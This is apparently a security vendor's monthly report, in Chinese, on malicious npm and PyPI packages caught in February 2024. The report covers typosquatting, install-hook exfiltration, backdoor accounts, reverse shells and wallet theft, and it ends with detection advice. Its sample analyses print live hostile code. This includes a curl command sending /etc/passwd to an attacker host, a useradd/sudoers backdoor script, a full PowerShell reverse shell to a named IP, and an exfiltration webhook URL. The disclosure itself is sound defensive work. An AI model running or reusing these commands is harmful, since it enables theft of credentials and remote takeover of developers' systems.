供应链投毒预警 | 开源供应链投毒202402月报发布啦

news2024/11/15 9:56:38

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年2月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com)和Pypi官方仓库(https://pypi.org)共捕获503个不同版本的恶意组件包,其中NPM仓库投毒占比89.46%, Pypi仓库投毒占比10.54%,NPM仓库依旧是开源组件包投毒的重灾区。

2024年2月份投毒包每日统计

结合源代码分析、动态行为监控等方式,我们对2月份捕获的开源组件投毒包进行多维度分析,总结统计出主流的攻击方式和恶意行为标签。

投毒攻击方式主要包括:

  • 恶意文件执行

  • 代码混淆执行

  • 恶意文件下载

  • shell命令执行

  • 恶意文件释放

其中,恶意文件执行是最常用的攻击方式(占比78.13%),其主要攻击流程是利用开源组件包管理器在安装组件包过程中利用自定义的恶意指令来加载并执行内置在组件包中的恶意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在组件安装包中直接嵌入恶意shell命令(占比8.87%)、恶意文件下载(占比4.28%)及恶意文件释放后执行也是投毒者惯用的攻击手法。为了逃避安全检测,部分恶意包使用了代码编码、加密及混淆(占比7.61%)等方式进行恶意代码隐藏。

攻击方式统计

在所有投毒包的恶意行为中,窃取系统信息占比超过85%,信息窃取的主要目标是开发者系统的密码文件、用户信息、网络配置、系统版本、DNS服务器IP、系统外网IP、浏览器Cookie等敏感数据。其次,远控木马和反向shell后门攻击紧随其后(两者之和占比约10%)。此外,在2月里捕获到多起盗取数字钱包客户端敏感数据的投毒攻击。值得一提的是,我们在NPM组件投毒中首次捕获到通过添加Linux系统后门账户进行远程控制的攻击手段。

恶意标签统计

本节将从2月份捕获的开源组件恶意包中精选部分具有代表性的投毒样本进行分析,还原投毒者的攻击方式和细节。

Part1  敏感信息窃取

Python恶意包djanggo利用包名错误拼写(typo-squatting)来伪装成知名Python WEB组件django,以此迷惑混淆Python开发者误安装该恶意包。

知名Python组件django

djanggo恶意包通过在安装文件setup.py中重定义cmdclass install及egg_info实现在安装时自动触发执行恶意函数RunCommand()。

RunCommand()函数内部通过subprocess模块调用Linux系命令curl将当前系统环境变量、进程列表等信息通过HTTP POST外传到攻击者服务器上。

此外,多个NPM恶意组件包(lib-comdig、bubble-dev)在安装过程中存在窃取系统密码文件的行为。以恶意包bubble-dev为例,其安装包的package.json文件中包含恶意shell命令

攻击者尝试利用preinstall指令在NPM包安装前执行恶意命令将系统/etc/passwd密码文件及主机名等敏感信息外传到攻击者服务器上。

/usr/bin/curl --data '@/etc/passwd' $(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.net

Part2 系统后门账户

NPM恶意包browser-spoof在安装时会执行恶意代码index2.js, index2.js将从CDN服务器上拉取恶意bash文件sh.sh到受害者系统上执行。

bash恶意代码如下所示: 

wget -q https://ezstat.ru/29U6f5; sudo useradd -m -G sudo -s /bin/bash -p $(openssl passwd -1 ICEWATER) systst2 && echo "systst2 ALL=(ALL:ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers > /dev/null;

先通过wget请求将受害者系统出网IP泄露给攻击者,接着利用useradd命令在系统中添加新的用户账户;最后使用tee命令将新用户账户添加到sudoers文件中,将新账户权限提升到sudo权限。

Part3  反向shell后门

攻击者通常在投毒组件包中直接内置反弹shell命令或者通过脚本语言特性将开发者系统shell反弹到攻击者服务器上,开发者一旦通过包管理器安装或加载投毒包时,反弹shell代码将自动执行,导致开发者系统被攻击者远程shell控制。

以Python恶意包isred为例,该投毒包目标针对Linux系统,攻击者在isred模块入口文件__init__.py中使用socket将受害者系统shell标准输入、输出重定向到攻击者服务器 (0.tcp.au.ngrok.io:16311),从而实现对受害者系统的反向shell远控。

对于NPM仓库的ts-patch-moongoose恶意包,目标主要针对Windows系统,其恶意文件mongoose.js通过调用child_process模块执行base64编码的PowerShell恶意命令。

解码后的实际PowerShell代码如下所示:

Start-Process $PSHOME\powershell.exe -ArgumentList {$cc4b3e0706be478095235bdbc5479fde = New'-Obje'ct System.Net.Sockets.TCPClient('84.77.69.69',4443);$4bdf71701e4e45a48bd66974a36d1fd8 = $cc4b3e0706be478095235bdbc5479fde.GetStream();[byte[]]$b72dd70b9b5c4635b410c3eda039db98 = 0..65535|%{0};while(($i = $4bdf71701e4e45a48bd66974a36d1fd8.Read($b72dd70b9b5c4635b410c3eda039db98, 0, $b72dd70b9b5c4635b410c3eda039db98.Length)) -ne 0){;$ff887d09535d46489582d67f05e7d60f = (Ne'w-Ob'ject -TypeName System.Text.ASCIIEncoding).GetString($b72dd70b9b5c4635b410c3eda039db98,0, $i);$e9f33eef377548fdb8e212aaecec6b47 = (iex $ff887d09535d46489582d67f05e7d60f 2>&1 | Out-String );$0e7cb537947a4905b36e36b8ef25f955 = $e9f33eef377548fdb8e212aaecec6b47 + 'PS ' + (p'w'd).Path + '> ';$986886c1059c495ebc37a28fa8735419 = ([text.encoding]::ASCII).GetBytes($0e7cb537947a4905b36e36b8ef25f955);$4bdf71701e4e45a48bd66974a36d1fd8.Write($986886c1059c495ebc37a28fa8735419,0,$986886c1059c495ebc37a28fa8735419.Length);$4bdf71701e4e45a48bd66974a36d1fd8.Flush()};$cc4b3e0706be478095235bdbc5479fde.Close()} -WindowStyle Hidden

恶意PowerShell代码通过System.Net.Sockets.TCPClient接口将Windows系统cmd shell反弹到攻击者控制的服务器端口84.77.69.69:4443上,从而达到对受害者系统进行远程shell后门控制。(详细分析可参考:供应链投毒预警 | 恶意NPM包利用Windows反向shell后门攻击开发者)

Part4  远控木马

在2月份捕获的恶意样本中有多起针对Python知名HTTP客户端组件httpx、requests的投毒攻击(包括requests-sessions、requests-http、request-get、tls-session等)。这些恶意样本的攻击方式主要发生在包管理器安装或者恶意包加载时,恶意包中的恶意代码会触发执行并从攻击者的托管服务器上下载恶意程序到受害者系统上执行木马后门攻击。

以恶意包tls-session为例,其安装包内置了包含有恶意代码的SSL/TLS 客户端组件tls-client,tls-client在Pypi仓库上的周下载量超过3万。

Python组件tls-client下载量统计

组件包tls-session通过克隆tls-client v1.0.1版本项目代码,并在tls-client的__init__.py文件中植入base64编码的恶意代码。

base64代码解码后得到真实的攻击代码:

恶意代码从CDN服务器上下载恶意木马程序Built.exe保存到受害者系统上(SERPROFILE%\AppData\Local\explorer.exe),并伪装成Windows系统进程explorer.exe执行。

Built.exe已被多款杀毒引擎判定为木马

Part5 数字钱包窃密

NPM恶意包object-window-dtc主要目标是盗取Windows系统上Exodus数字钱包应用数据,其通过 JS代码混淆对恶意代码进行保护逃避检测,混淆代码如下所示:

去混淆后还原出核心恶意代码:

代码逻辑主要是遍历Exodus 数字钱包应用目录(“C:\\Users\\${username}\\AppData\\Roaming\\Exodus\\exodus.wallet”)下的每个文件,并将每个文件内容通过HTTP POST方式外传到投毒者Discord Webhook接口上 。

https://discord.com/api/webhooks/1178128936190873610/nhlEOT8CYRGvG7Ay2VW5H7cMCQOrf4UyTWQLOZWgj549TTdcfcYJ6AnuENzYY_OLiN3x

Part6 BladeroidStealer盗号

2月28号,NPM开发者klewba32在官方仓库上进行Sniper系列投毒,当天连续投放snipersee、sniperser、sniperv1、sniperv2等恶意包。这些恶意包采用相同的恶意代码,主要目标是盗取开发者浏览器保存的登录凭证、主流社交平台账号session及用户数据、浏览器数字钱包插件账户数据、系统中任何包含常见密码口令关键字的敏感文件。

Sniper系列投毒包的核心恶意代码使用aes-256-cbc进行加密保护:代码解密后可明显发现代码中存在多处涉及BladeroidStealer代号的相关内容。

BladeroidStealer主要功能函数列表如下所示:以getCookiesAndSendWebhook()函数为例,其功能是从浏览器本地cookie文件中提取主流社区账号(instagram、tiktok、reddit、spotify)的sessionid。

提取到sessionid后,会进一步使用sessionid从官方接口拉取详细的用户信息。以TikTok为例,stealTikTokSession() 函数负责盗取TikTok用户数据、浏览记录以及支付账户等敏感信息。

盗取的账户数据最终发送到攻击者Webhook接口上(https://Bladeroid.xyz/webhooks/)

排查方式

截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

总结

根据2024年2月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM依旧是投毒者的重点目标,敏感数据窃取仍是主流攻击。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1527586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uniapp可视范围高度 - 用户屏幕可操作的屏幕高度 - 适用于APP、H5@公众号、纯H5@Chrome

可视范围高度 let heightPx uni.getWindowInfo().windowHeight uni.getWindowInfo().windowTop 官方手册 uni.getWindowInfo() | uni-app官网uni-app,uniCloud,serverless,uni.getWindowInfo()https://uniapp.dcloud.net.cn/api/system/getWindowInfo.html 实测数据 uni.ge…

【C++初阶】第七站:string类的初识(万字详解、细节拉满)

前言: 📍本文知识点:string的初识 本专栏:C 目录 一、什么是STL 二、STL的六大组件 三、STL的缺陷 四、为什么学习string类? 五、标准库中的string类 1、string类(了解) 2、string类的常用接口说明(…

2023新版mapinfo美化电子地图 新版2013Arcgis shp电子地图 下载

2023新版MapInfo和电子地图美化,以及2013版ArcGIS的SHP电子地图设计,是地理信息系统(GIS)领域中的两个重要话题。下面将分别对这两个主题进行描述。 样图: 链接:https://pan.baidu.com/s/1WB4AGsycyBGagVq5…

Python之Web开发中级教程----Django站点管理

Python之Web开发中级教程----Django站点管理 网站的开发分为两部分:内容发布和公共访问 内容发布是由网站的管理员负责查看、添加、修改、删除数据 Django能够根据定义的模型类自动地生成管理模块 使用Django的管理模块, 需要按照如下步骤操作 : 1.管理界面本地…

21年电赛-送药小车—基于OpenMV的寻迹+检测路口+数字识别(多模版匹配)(附代码)

我们花费了四天时间打了一场21年的电赛改编题——智能送药小车。虽然结果不尽人意,但这是我学习32以来第一次正式的打比赛,对我来说要学习的东西,所增长的经验真的特别多(虽然基本上都是学长在出力~)下来我就把关于这次…

上位机图像处理和嵌入式模块部署(qmacvisual畸变矫正)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 大部分同学在开始做计算机图像的时候,是没有意识到畸变矫正这个问题的。当然不仅仅是畸变矫正,很多同学还会忽略光源的问题…

qt使用Windows经典风格,以使QTreeView或QTreeWidge有节点线或加号

没有使用Windows经典风格的QTreeView或QTreeWidget显示如下: 使用Windows经典风格的QTreeView或QTreeWidget显示如下: 树展开时: 树未展开时: 可以看到: 未使用Windows经典风格时,QTreeView或QTreeWidget…

Memcached-分布式内存对象缓存系统

目录 一、NoSQL 介绍 二、Memcached 1、Memcached 介绍 1.1 Memcached 概念 1.2 Memcached 特性 1.3 Memcached 和 Redis 区别 1.4 Memcached 工作机制 1.4.1 内存分配机制 1.4.2 懒惰期 Lazy Expiration 1.4.3 LRU(最近最少使用算法) 1.4.4…

孙溟㠭于北京大学北大书店现场创作

孙溟㠭于北京大学北大书店现场创作篆刻作品 孙溟㠭北大书店现场创作 孙溟㠭于北京大学北大书店展览期间现场创作 孙溟㠭北京大学篆刻展现场创作 图文/氿波

【C语言】守护进程(daemon)的输出到一个文本文件

一、常用的守护进程函数 void daemonize () {//deamonizepid_t pid fork();if( pid > 0 ){ //parent exitexit(0);}//child continuesetsid();chdir("/");close(0);open("/dev/null", O_RDWR);//no env debugif(!getenv("debug")){cl…

Flask中的Blueprints:模块化和组织大型Web应用【第142篇—Web应用】

👽发现宝藏 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 Flask中的Blueprints:模块化和组织大型Web应用 在构建大型Web应用时&#xff0…

面试经典150题(114-118)

leetcode 150道题 计划花两个月时候刷完之未完成后转,今天完成了5道(114-118)150 gap 了一周,以后就不记录时间了。。 114.(70. 爬楼梯) 题目描述: 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不…

【Qt图形界面引擎(一)】:第一个Qt程序

跨平台图形界面引擎,接口简单,易上手,一定程度简化内存。 Qt发展史 1991年由Qt Company开发的跨平台C图形用户界面应用程序开发框架2008年,Qt Company科技被诺基亚公司收购,Qt也因此成为诺基亚旗下的编程语言工具2012…

【神经网络 基本知识整理】(激活函数) (梯度+梯度下降+梯度消失+梯度爆炸)

神经网络 基本知识整理 激活函数sigmoidtanhsoftmaxRelu 梯度梯度的物理含义梯度下降梯度消失and梯度爆炸 激活函数 我们知道神经网络中前一层与后面一层的连接可以用y wx b表示,这其实就是一个线性表达,即便模型有无数的隐藏层,简化后依旧…

十、MySQL主从架构配置

一、资源配置 主库:192.168.134.132 从库:192.168.134.133 从库:192.168.134.134 二、主从同步基本原理: master用户写入数据,会生成event记录到binary log中,slave会从master读取binlog来进行数据同步…

如何将大华dav视频转mp4?一键无损清晰转换~

Digital Audio Video(DAV)文件格式源于数字监控领域,旨在解决视频监控数据的存储和回放问题。随着数字监控技术的发展,DAV格式逐渐成为监控设备记录视频的标准格式,广泛应用于安防系统、摄像头监控等场景。 MP4文件格式…

Transformer的前世今生 day03(Word2Vec

前情回顾 由上一节,我们可以得到: 任何一个独热编码的词都可以通过Q矩阵得到一个词向量,而词向量有两个优点: 可以改变输入的维度(原来是很大的独热编码,但是我们经过一个Q矩阵后,维度就可以控…

【ARM】DSTREAM上面的各个指示灯代表什么意思?

【更多软件使用问题请点击亿道电子官方网站查询】 1、 文档目标 对于DStream仿真器上面的指示灯亮灭代表的意义进行分析。 2、 问题场景 主要对于DStream仿真器的使用过程中,不同的情况下面仿真器的指示灯会进行相应的亮灭。了解一下不同指示灯的亮灭所提示的信息…

大模型算命,对比下kimi和ChatGPT,AI离道破天机就差一个你信不信

我不懂算命,但很好奇。 先随便问问kimi,它先通过网络找到了参考,直接就给出了结论,看着有点儿草率,像极了街头算命先生。 给点儿专业书籍让他学习学习,它就开始认真了,看上去有些专业。 试试…

51-32 CVPR’24 | 3DSFLabelling,通过伪自动标注增强 3D 场景流估计

24 年 2 月,鉴智机器人、剑桥大学和上海交通大学联合发布CVPR24工作,3DSFLabelling: Boosting 3D Scene Flow Estimation by Pseudo Auto-labelling。 提出 3D 场景自动标注新框架,将 3D 点云打包成具有不同运动属性的 Boxes,通过…